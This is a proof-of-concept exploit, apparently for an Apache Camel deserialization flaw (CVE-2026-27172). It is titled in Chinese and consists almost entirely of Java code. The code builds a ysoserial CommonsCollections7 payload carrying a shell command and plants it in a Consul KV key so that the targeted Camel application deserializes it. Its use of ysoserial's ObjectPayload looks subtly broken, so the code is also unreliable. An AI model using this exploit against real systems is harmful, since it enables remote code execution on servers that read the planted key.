CVE-2026-27172 Apache Camel反序列化漏洞

import com.ecwid.consul.v1.ConsulClient; import com.ecwid.consul.v1.kv.model.PutParams; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.util.PayloadRunner; public class CVE202627172Exploit { public static void main(String[] args) throws Exception { // 1. Generate malicious serialized object using ysoserial // Example using CommonsCollections7 String command = "touch /tmp/pwned"; ObjectPayload payload = new ObjectPayload<>(ysoserial.payloads.CommonsCollections7.class); byte[] serializedData = payload.getObject(command); // 2. Write the payload to Consul KV // The target Camel application must be configured to read this specific key String consulHost = "127.0.0.1"; int consulPort = 8500; String keyPath = "camel/registry/maliciousKey"; ConsulClient consulClient = new ConsulClient(consulHost, consulPort); consulClient.setKVValue(keyPath, serializedData); System.out.println("Payload written to Consul KV: " + keyPath); System.out.println("Wait for Camel to perform a lookup..."); } }